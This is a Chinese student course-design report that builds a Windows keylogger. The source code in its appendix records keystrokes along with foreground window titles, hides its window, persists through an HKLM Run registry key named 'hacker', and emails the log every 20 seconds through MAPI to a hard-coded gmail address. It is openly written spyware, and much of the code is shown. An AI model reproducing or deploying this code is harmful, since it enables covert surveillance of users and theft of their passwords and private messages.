版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認(rèn)領(lǐng)
文檔簡介
1、<p><b> 目 錄</b></p><p><b> 目 錄1</b></p><p><b> 一 設(shè)計目的2</b></p><p><b> 二 設(shè)計內(nèi)容2</b></p><p><b> 三 設(shè)計要求
2、2</b></p><p><b> 四 設(shè)計過程2</b></p><p> 1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟2</p><p><b> 2、消息循環(huán)4</b></p><p> 3、編寫窗口過程函數(shù)5</p><p> 4、自啟動模塊設(shè)計6&
3、lt;/p><p> 5、定時發(fā)送郵件模塊設(shè)計6</p><p><b> 6、程序流程圖8</b></p><p><b> 五 設(shè)計總結(jié)9</b></p><p><b> 參考文獻9</b></p><p><b> 一 設(shè)
4、計目的</b></p><p> 通過本次課程設(shè)計,設(shè)計一個鍵盤監(jiān)聽程序,系統(tǒng)啟動后自動記錄所有鍵盤信息的功能,能夠記錄鍵盤的輸入值,且該程序具有自動啟動功能,并能夠定期通過網(wǎng)絡(luò)給某人的指定的郵箱發(fā)送所記錄的信息。</p><p><b> 二 設(shè)計內(nèi)容</b></p><p> 1、題目分析,查找資料和總體設(shè)計。</p
5、><p> 2、詳細設(shè)計、代碼編制、程序調(diào)試。系統(tǒng)功能要求如下:</p><p> 模塊一 該部分通過設(shè)計一個窗口,并在窗口中響應(yīng)鍵盤消息,記錄鍵盤的相關(guān)按鍵記錄,實現(xiàn)鍵盤監(jiān)聽的功能。</p><p> 模塊二 該部分通過對注冊表的修改,將該程寫入注冊表,實現(xiàn)該程序的隨系統(tǒng)的啟動而啟動。</p><p> 模塊三 該部分通過調(diào)用系統(tǒng)
6、的定時函數(shù),實現(xiàn)郵件的定時發(fā)送。</p><p> 3、結(jié)果分析、完成課程設(shè)計報告。</p><p><b> 三 設(shè)計要求</b></p><p> 1、學(xué)生能夠較深入的理解網(wǎng)絡(luò)編成的設(shè)計方法,并在所要求的設(shè)計時間內(nèi),利用自己所熟悉的語言完成本題目的程序編制。</p><p> 2、程序要能正確運行,完成預(yù)功能
7、。</p><p> 3、要求設(shè)計清晰、美觀的用戶界面,當(dāng)操作出錯時,程序要有出錯提示信息。</p><p> 4、上交設(shè)計報告。重點闡述程序的有關(guān)算法說明、程序的流程圖以及子程序的功能和參數(shù)的說明及程序代碼。</p><p><b> 四 設(shè)計過程</b></p><p> 1、窗口函數(shù)程序?qū)崿F(xiàn)的步驟</
8、p><p> ?。?)WinMain函數(shù)的定義</p><p> WinMain函數(shù)的原型聲明如下:</p><p> int WINAPI WinMain(</p><p> HINSTANCE hInstande,</p><p> HINSTANCE hPrevInstance,</p>
9、<p> LPSTR IpCmdLine,</p><p> Int nCmdShow</p><p><b> );</b></p><p> WinMain函數(shù)接收4個參數(shù),這些參數(shù)都是在系統(tǒng)調(diào)用WinMian函數(shù)時,傳遞給應(yīng)用程序的。</p><p> 第一個參數(shù)hInstance表示
10、該程序當(dāng)前運行的實例的句柄。第二個參數(shù)hPrevInstance表示當(dāng)前實例的前一個實例的句柄。第三個參數(shù)IpCmdLine是一個以空終止的空符串,第四個參數(shù)nCmdShow指定程序的窗口應(yīng)該如何顯示。</p><p><b> ?。?)創(chuàng)建一個窗口</b></p><p><b> 設(shè)計一個窗口類</b></p><p&g
11、t; 一個完整的窗口有許多的特征,包括光標(biāo)、圖標(biāo)、背景色等。因此在創(chuàng)建一個窗口之前,要對該類型的窗口進行設(shè)計,指定該窗口的相關(guān)特征。Windows為我們定義了一個窗口所應(yīng)該有的基本屬性。在此次的程序中,運用了wndClass這樣一個函數(shù),來實現(xiàn)窗口屬性的設(shè)置。其中的第二個成員變量IpfnWndProc是一個函數(shù)指針,指向窗口過程函數(shù),窗口過程函數(shù)是一個回調(diào)函數(shù)?;卣{(diào)函數(shù)在特定的事件或條件發(fā)生時由另外一方調(diào)用的,用于對該事件或條件進行響
12、應(yīng)。</p><p><b> ?。?)注冊窗口類</b></p><p> 調(diào)用RegisterClass函數(shù)對窗口進行注冊,注冊成功后才能創(chuàng)建該類型的窗口。具體實現(xiàn)如下:RegisterClass(&wndClass);</p><p><b> ?。?)創(chuàng)建窗口</b></p><p&g
13、t; 設(shè)計好窗口并且將其注冊成功后,就可以用CreateWindow函數(shù)產(chǎn)生這種類型的窗口了。其函數(shù)的原型聲明如下:</p><p> HWND CreateWindow(</p><p> LPCTSTR lpClassName, // registered class name</p><p> LPCTSTR lpWindowName, // win
14、dow name</p><p> DWORD dwStyle, // window style</p><p> int x, // horizontal position of window</p><p> int y, // vertical position of window
15、</p><p> int nWidth, // window width</p><p> int nHeight, // window height</p><p> HWND hWndParent, // handle to parent or owner window</p><p&g
16、t; HMENU hMenu, // menu handle or child identifier</p><p> HINSTANCE hInstance, // handle to application instance</p><p> LPVOID lpParam // window-creation data</p>&l
17、t;p><b> );</b></p><p> ?。?)顯示及更新窗口</p><p> 其中,顯示窗口通過ShowWindow函數(shù)實現(xiàn)。更新窗口通過UpdateWindow函數(shù)實現(xiàn)。到此,一個窗口函數(shù)的創(chuàng)建就算完成了。</p><p><b> 2、消息循環(huán)</b></p><p>
18、 (1)編寫一個消息循環(huán),不斷的從消息隊列中取出消息,并進行響應(yīng)。要從消息隊列中取出消息,我們需要調(diào)用GetMessage()函數(shù)。通常的消息循環(huán)函數(shù)的代碼如下:</p><p> while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b> {</b></p><p> Tra
19、nslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p><p> DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b> }</b></p><p> GetMessage函數(shù)只有在接收到WM_QUIT消息時,才返回0。此時whi
20、le語句的判斷條件為假,循環(huán)退出,程序才能結(jié)束運行。在沒有接收到WM_QUIT消息時,Windows應(yīng)用程序就通過while循環(huán)來保證程序始終處于運行狀態(tài)。</p><p> Windows應(yīng)用程序的消息處理機制如下圖所示:</p><p><b> 圖2-1</b></p><p> (2)操作系統(tǒng)接收到應(yīng)用程序的窗口消息,將消息投遞到
21、該應(yīng)用程序的消息隊列中。</p><p> ?。?)應(yīng)用程序在消息循環(huán)中調(diào)用GetMessage函數(shù)從消息隊列中取出一條一條的消息。取出消息后,應(yīng)用程序可以對消息進行一些預(yù)處理,例如,放棄對某些消息的響應(yīng),或者調(diào)用TranslateMessage產(chǎn)生新的消息。</p><p> ?。?)應(yīng)用程序調(diào)用DispatchMessage,將消息回傳給操作系統(tǒng),消息是由MSG結(jié)構(gòu)體對象來表示的,其中
22、就包含了接收消息的窗口的句柄。因此,DispatchMessage函數(shù)總能進行正確的傳遞。</p><p> ?。?)系統(tǒng)調(diào)用WNDCLASS結(jié)構(gòu)體的IpfnWndProc成員保存的窗口過程函數(shù)的指針調(diào)用窗口過程,對消息進行處理。</p><p> ?。?)發(fā)送消息可以使用SendMessage和PostMessage函數(shù)。SendMessage將消息直接發(fā)送給窗口,并調(diào)用該窗口的窗口過程
23、進行處理。在窗口過程對消息處理完畢后,該函數(shù)才返回。PostMessage函數(shù)將消息放入與創(chuàng)建窗口的線程相關(guān)聯(lián)的消息隊列后立即返回。除了兩個函數(shù)外,還有一個PostThreadMessage函數(shù),用于向線程發(fā)送消息,對于線程消息,MSG結(jié)構(gòu)體中的hwnd成員為NULL。</p><p> 3、編寫窗口過程函數(shù)</p><p> ?。?)窗口過程函數(shù)用于處理發(fā)送給窗口的消息。一個Windo
24、ws應(yīng)用程序的主要代碼部分就集中在窗口過程函數(shù)中。窗口過程函數(shù)的聲明如下:</p><p> LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) </p><p> { HDC hdc;</p><p> PAINTSTRUCT
25、 ps; </p><p><b> }</b></p><p><b> ?。?)具體函數(shù)中有</b></p><p> 按鍵消息處理,通過WM_INPUT實現(xiàn),當(dāng)發(fā)現(xiàn)有按鍵消息時,通過GetRawInputData函數(shù)獲得原始的按鍵信息,再通過WriteFile寫入文件中,寫下按鍵記錄。</p>&l
26、t;p> 繪制窗口的界面,通過WM_PAINT完成。當(dāng)窗口客戶區(qū)的一部分或者全部變?yōu)闊o效是,系統(tǒng)會發(fā)送WM_PAINT消息,通知應(yīng)用程序重新繪制窗口,當(dāng)窗口剛創(chuàng)建的時候,整個客戶區(qū)都是無效的,因為這個時候程序還沒有在窗口上繪制任何東西,當(dāng)調(diào)用UpdateWindows函數(shù)時,會發(fā)送WM_PAINT消息給窗口過程,對窗口進行刷新.</p><p> 完成后,需要對窗口進行撤銷,使用WM_DESTROY完成
27、。當(dāng)用戶單擊窗口傷的關(guān)閉按鈕的時候,系統(tǒng)會給應(yīng)用程序發(fā)送一條WM_CLOSE消息,首先彈出一個消息框,讓用戶確認(rèn)是否結(jié)束.用戶選擇是,則調(diào)用DestroyWindows函數(shù)銷毀窗口, DestroyWindows函數(shù)在銷毀窗口后會向窗口發(fā)送WM_DESTROY消息,此時,窗口銷毀了,但是應(yīng)用程序并沒有退出.GetMessage函數(shù)只有在收到WM_QUIT消息才返回0,此時消息循環(huán)才結(jié)束,程序退出.想要讓程序退出,我們必須響應(yīng)WM_DES
28、TROY消息,并在消息響應(yīng)代碼中調(diào)用PostQuitMessage.向應(yīng)用程序的消息隊列中投遞WM_QUIT消息,傳遞給PostQuitMessage函數(shù)的參數(shù)值將作為WM_QUIT消息的wParam參數(shù),這個值通常用作WinMain函數(shù)的返回值。DefWindowProc函數(shù)調(diào)用默認(rèn)的窗口過程,對應(yīng)用程序沒有處理的其他消息進行默認(rèn)處理.</p><p><b> 4、自啟動模塊設(shè)計</b>
29、;</p><p> (1)該部分通過將程序的可執(zhí)行程序?qū)懭胱员?,實現(xiàn)隨著系統(tǒng)的啟動而啟動。</p><p> 自啟動有兩種方法,第一種方法是,在本地計算機中打開注冊表編輯器,找到下面的鍵值:HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows 然后在Windows鍵值下新建一個字符串鍵值,
30、并更名為load,雙擊打開這個字符串鍵值,接著把彈出窗口的“數(shù)值數(shù)據(jù)”中設(shè)置要隨系統(tǒng)自動運行的程序的路徑即可。需要注意的是,輸入的路徑文件名是短文件名。(2)另一種方法同樣是在注冊表中進行設(shè)置,找到鍵值:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor,找到并雙擊“AutoRun”這項,然后將鍵值設(shè)置為需要啟動的程序即可。這兩種方法都可以.在實驗中,運用了方法一,通過&qu
31、ot;Software\\Microsoft\\Windows\\CurrentVersion\\Run";找到鍵值,再通過hkResult,"hacker"/ 注冊表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBD</p><p> 5、定時發(fā)送郵件模塊設(shè)計</p><p
32、><b> ?。?)郵件發(fā)送功能</b></p><p> 通過Simple MAPI的函數(shù)以及相關(guān)的數(shù)據(jù)結(jié)構(gòu),根據(jù)其結(jié)構(gòu)可以很簡單的實現(xiàn)發(fā)送郵件的功能。實現(xiàn)一個完整的郵件發(fā)送過程,只需要一個函數(shù)“MAPISendMail()”, MAPI 與郵件系統(tǒng)關(guān)系密切,要能夠使用MAPI的功能,系統(tǒng)必須安裝有支持 MAPI 的郵件系統(tǒng),比如Outlook、Outlook Express、Eu
33、dora、Netscape等.在本次設(shè)計中,郵件系統(tǒng)使用的是outlook,經(jīng)過測試,發(fā)現(xiàn)沒有問題。</p><p> 首先是MAPI庫的初始化,包括兩個步驟:裝載MAPI庫、得到函數(shù)入口地址。</p><p> 發(fā)送郵件 MAPISendMail(),發(fā)送郵件功能就是對MAPISendMail()的封裝。下面解釋這個API函數(shù)的參數(shù)定義。</p><p>
34、ULONG FAR PASCAL MAPISendMail(LHANDLE lhSession, ULONG ulUIParam, lpMapiMessage lpMessage, FLAGS flFlags, ULONG ulReserved);lhSession、ulUIParam和ulReserved這三個參數(shù),簡單地設(shè)置為0就可以了。flFlags有三個有效位,分別是 MAPI_DIALOG,MAPI_LOGON_UI,MAPI
35、_NEW_SESSION。</p><p> 重點是 lpMessage 這個參數(shù),它指向一個MapiMessage類型的結(jié)構(gòu),詳細地定義了一個郵件的全部信息。</p><p> ?。?)結(jié)構(gòu)MapiMessage</p><p> 使用時首先定義一個MapiMessage類型的變量,將其清零。現(xiàn)在我們只要簡單地設(shè)定lpszSubject(標(biāo)題)、lpszNot
36、eText(正文)、lpOriginator(發(fā)件人)、nRecipCount(收件人計數(shù),),lpRecips(一個包含全部收件人的數(shù)組),nFileCount(附件計數(shù))、lpFiles(包含每個附件信息的數(shù)組)。nRecipCount 和 nFileCount 的值一定要與實際的收件人和附件數(shù)目相符。</p><p> ?。?)結(jié)構(gòu) MapiRecipDesc</p><p> 必
37、須設(shè)置 ulRecipClass、lpszName、lpszAddress</p><p> (4)結(jié)構(gòu) MapiFileDesc</p><p> 必須設(shè)置的有l(wèi)pszPathName、nPosiotion兩個參數(shù)</p><p><b> (5)定時功能</b></p><p> 定時功能通過調(diào)用系統(tǒng)函數(shù)Se
38、tTimer()來實現(xiàn)。其聲明原型如下</p><p> UINT_PTR SetTimer(</p><p> HWND hWnd, // handle to window</p><p> UINT_PTR nIDEvent, // timer identifier</p><p> UINT
39、uElapse, // time-out value</p><p> TIMERPROC lpTimerFunc // timer procedure</p><p><b> );</b></p><p> 此程序中的時間值設(shè)置的是20秒,也就是說每隔20秒,程序會向指定的郵箱發(fā)送鍵盤記錄。</p>
40、<p><b> 6、程序流程圖</b></p><p> ?。?)鍵盤監(jiān)控流程圖</p><p> 圖6-1鍵盤監(jiān)控流程圖</p><p><b> 五 設(shè)計總結(jié)</b></p><p> 通過這次的鍵盤監(jiān)聽程序的設(shè)計,使得我對窗口中響應(yīng)鍵盤消息的機制更加深入的了解了,通過對
41、窗口的屬性設(shè)置、注冊窗口類、創(chuàng)建窗口、顯示窗口、更新窗口、消息循環(huán)、窗口過程函數(shù)的編寫,具體深入的體會了窗口響應(yīng)鍵盤消息的實現(xiàn)過程和方法。同時,對于Windows的許多函數(shù)有了進一步運用與了解,如運用MAPI發(fā)送郵件的使用規(guī)則、運用CreateWindow()進行窗口的創(chuàng)建、窗口過程函數(shù)的編寫、GetForegroundWindow的使用等等,提高了編程的能力。</p><p> 關(guān)于程序運行時,無法實現(xiàn)郵件發(fā)
42、送的問題,經(jīng)過反復(fù)的調(diào)試,都無法發(fā)現(xiàn)問題。把發(fā)送郵件的程序提取出來單獨運行時,發(fā)現(xiàn)是沒有問題的,能夠正確的發(fā)送郵件。但是,把這個程序完整的放入到整個程序中后,卻無法發(fā)送郵件。最后發(fā)現(xiàn)是由于進程的互斥問題。記錄的文件一直處于打開狀態(tài),并且不斷地有記錄向文件中寫入,這時想要訪問該文件當(dāng)然是不被允許的。究其原因,還是由于設(shè)計程序是沒有考慮操作系統(tǒng)的問題,文件打開后沒有立刻關(guān)閉。在今后的程序設(shè)計中,要考慮關(guān)于操作系統(tǒng)的同步互斥問題。這種問題的出
43、現(xiàn),也正好提醒我要把學(xué)過的每一門專業(yè)課都學(xué)扎實,切實提高自己的編程功力,這樣,才能夠做到真正的提高。</p><p> 試驗中遇到了不少的問題,有些通過上網(wǎng)查閱資料解決了,還有些通過與同學(xué)的交流,發(fā)現(xiàn)并解決了問題.盡管過程有些漫長,但是,在這個逐步解決問題的過程中,無論是自學(xué)能力,查閱資料的能力還是實際的動手能力都有了較大的提高.我想,只有通過不斷的諸如此類的課程設(shè)計,才能夠更好的檢驗我們平時所學(xué)的知識。<
44、;/p><p><b> 參考文獻</b></p><p> [1]《計算機網(wǎng)絡(luò)安全教程》石志國 薛為民 江俐 編著 清華大學(xué)出版社 北京交通大學(xué)出版社 2004年</p><p> [2]《計算機網(wǎng)絡(luò)安全基礎(chǔ)》袁津生 吳硯農(nóng) 編 人民郵電出版社2002年</p><p> [3]網(wǎng)站:www.csdn.com<
45、;/p><p><b> 附錄</b></p><p> 1、窗口函數(shù)的實現(xiàn)源代碼:</p><p> INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, PSTR, INT iCmdShow)//主函數(shù)</p><p><b> {</b>&l
46、t;/p><p> HWND hWnd;</p><p> MSG msg;</p><p> WNDCLASS wndClass;</p><p> wndClass.style = CS_HREDRAW | CS_VREDRAW;&l
47、t;/p><p> wndClass.lpfnWndProc = WndProc;</p><p> wndClass.cbClsExtra = 0;</p><p> wndClass.cbWndExtra = 0;</p><p> wndClass.hInstance = hInstance;<
48、/p><p> wndClass.hIcon = LoadIcon(NULL, IDI_APPLICATION);</p><p> wndClass.hCursor = LoadCursor(NULL, IDC_ARROW);</p><p> wndClass.hbrBackground = (HBRUSH)GetStockO
49、bject(WHITE_BRUSH);</p><p> wndClass.lpszMenuName = NULL;</p><p> wndClass.lpszClassName = TEXT("KBDLoger"); //窗口屬性設(shè)置</p><p> RegisterClass(&wnd
50、Class); //注冊窗口類 </p><p> hWnd = CreateWindow( //創(chuàng)建窗口</p><p> TEXT("KBDL
51、oger"), // window class name</p><p> TEXT("KBDLoger"), // window caption</p><p> WS_OVERLAPPEDWINDOW, // window style</p><p> 200, // initial x
52、position</p><p> 200, // initial y position</p><p> 480, // initial x size</p><p> 110, // initial y size</p><p> NULL,
53、 // parent window handle</p><p> NULL, // window menu handle</p><p> hInstance, // program instance handle</p><p> NULL);
54、 // creation parameters</p><p> while(GetMessage(&msg, NULL, 0, 0)) //消息循環(huán)</p><p><b> {</b></p><p> TranslateMessage(&msg); //虛擬鍵消息轉(zhuǎn)換為字符消息</p&g
55、t;<p> DispatchMessage(&msg); //消息回傳給操作系統(tǒng)</p><p><b> }</b></p><p> return msg.wParam; }</p><p> LRESULT CALLBACK WndProc(HWND hWnd, UINT message,
56、 WPARAM wParam, LPARAM lParam) //窗口過程函數(shù)</p><p><b> {</b></p><p> if (raw->header.dwType == RIM_TYPEKEYBOARD) </p><p><b> {</b></p><p> hw
57、ndCW = GetForegroundWindow();// 獲取當(dāng)前鍵盤焦點窗口名稱</p><p> GetWindowText(hwndCW, wtitle, 128);</p><p> wsprintf(vk, "[%s]:%s\r\n", wtitle, GetKeyName(raw->data.keyboard.VKey));</p>
58、;<p> if(hFile != INVALID_HANDLE_VALUE && ((WM_KEYDOWN == raw->data.keyboard.Message) || (WM_SYSKEYDOWN == raw->data.keyboard.Message)) && (0xFF !=raw->data.keyboard.VKey))</p><
59、;p><b> {</b></p><p> SetFilePointer(hFile, 0, NULL, FILE_END);</p><p> WriteFile(hFile, vk, strlen(vk), &dwWritten, NULL);</p><p><b> }</b></p&
60、gt;<p> if( VK_HOME == raw->data.keyboard.VKey) //按下home鍵顯示窗口</p><p> ShowWindow(hWnd, SW_NORMAL);</p><p> if( VK_END == raw->data.keyboard.VKey) //按下end鍵隱藏窗口</p><p&g
61、t; ShowWindow(hWnd, SW_HIDE);</p><p><b> }</b></p><p> delete[] lpb; </p><p> DefWindowProc(hWnd, message, wParam, lParam);</p><p><b> return 0;&
62、lt;/b></p><p> case WM_PAINT: //窗口繪制</p><p> hdc = BeginPaint(hWnd, &ps);</p><p> TextOut(hdc, 10, 10, szHelpInfo, strlen(szHelpInfo));</p>&l
63、t;p> EndPaint(hWnd, &ps);</p><p><b> return 0;</b></p><p> case WM_DESTROY: //退出窗口</p><p> PostQuitMessage(0);</p><p> CloseH
64、andle(hFile);</p><p><b> return 0;</b></p><p><b> default:</b></p><p> return DefWindowProc(hWnd, message, wParam, lParam);//對應(yīng)用程序未處理的消息提供默認(rèn)處理</p>
65、<p> PVOID GetApiAdd(LPCSTR dllname, LPCSTR procname)</p><p><b> {</b></p><p> HMODULE hDll = LoadLibraryA(dllname);//可執(zhí)行模塊映射到進程地址空間</p><p> if(NULL == hDll)<
66、;/p><p> return NULL;</p><p> PVOID pProc = GetProcAddress(hDll, procname);//獲取導(dǎo)出函數(shù)的地址</p><p> FreeLibrary(hDll);</p><p> return pProc;</p><p><b>
67、}</b></p><p> 2、郵件定時發(fā)送源代碼</p><p><b> //收件人結(jié)構(gòu)信息</b></p><p> MapiRecipDesc recip;</p><p> memset(&recip,0,sizeof(MapiRecipDesc));</p><
68、;p> recip.lpszAddress="SMTP:yangjiankun11@gmail.com";</p><p> recip.ulRecipClass = MAPI_TO;</p><p> recip.lpszName = "SMTP:yangjiankun11@gmail.com";</p><p&g
69、t;<b> //附件結(jié)構(gòu)信息</b></p><p> MapiFileDesc FileDesc;</p><p> memset(&FileDesc,0,sizeof(FileDesc));</p><p> FileDesc.lpszPathName="F:\\KBDLogger\\kebodlog1.txt&
70、quot;;</p><p> FileDesc.nPosition=(ULONG)-1;//附件在郵件中的位置</p><p><b> //郵件結(jié)構(gòu)信息</b></p><p> MapiMessage message;</p><p> memset(&message,0,sizeof(messag
71、e));</p><p> message.nRecipCount = 1; //收件人的個數(shù)</p><p> message.lpRecips = &recip; //收件人信息</p><p> message.nFileCount = 1; //附件的個數(shù)</p><p> messa
72、ge.lpFiles = &FileDesc; //附件信息</p><p> message.lpszSubject = "鍵盤記錄";//主題信息</p><p> message.lpszNoteText = ""; //正文內(nèi)容</p><p> ULONG (PASCAL *lpfnSe
73、ndMail)(ULONG ,ULONG,MapiMessage*,FLAGS,ULONG);</p><p> (FARPROC&)lpfnSendMail=GetProcAddress(hMod,"MAPISendMail");取出"MAPISendMail"</p><p><b> 3、自啟動源代碼</b>&
74、lt;/p><p> char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run"; //修改注冊表,自動啟動</p><p> HKEY hkResult;</p><p> int ret=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&a
75、mp;hkResult);</p><p> ret=RegSetValueEx(hkResult,"hacker"/注冊表鍵名*/,0,REG_EXPAND_SZ,(unsigned char *)"F:\\KBDLogger\\Debug\\KBDLogger.exe",32); //獲得可執(zhí)行程序的位置,寫入注冊表</p><p> i
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 眾賞文庫僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 手機鍵盤課程設(shè)計
- 鍵盤鋼琴匯編語言程序設(shè)計—微機原理課程設(shè)計
- 鍵盤鋼琴匯編語言程序設(shè)計—微機原理課程設(shè)計
- 鍵盤鋼琴匯編語言程序設(shè)計—微機原理課程設(shè)計
- 單片機課程設(shè)計---鍵盤接口課程設(shè)計
- java課程設(shè)計--軟鍵盤
- eda課程設(shè)計--矩陣鍵盤接口設(shè)計
- 軟鍵盤系統(tǒng)課程設(shè)計
- 鍵盤電子樂器課程設(shè)計
- 鍵盤測試器的設(shè)計課程設(shè)計
- 計算機網(wǎng)絡(luò)課程設(shè)計--基于tcpip協(xié)議的網(wǎng)絡(luò)監(jiān)聽程序設(shè)計
- 矩陣鍵盤eda技術(shù)課程設(shè)計
- 微機原理課程設(shè)計-鍵盤輸入
- 矩陣鍵盤eda技術(shù)課程設(shè)計
- 課程設(shè)計4乘4矩陣鍵盤設(shè)計
- 課程設(shè)計--unix程序設(shè)計課程設(shè)計
- hdl-ps2接口鍵盤課程設(shè)計
- 單片機鍵盤輸入課程設(shè)計
- tracer程序課程設(shè)計
- 微機原理課程設(shè)計----鍵盤接收日期并顯示
評論
0/150
提交評論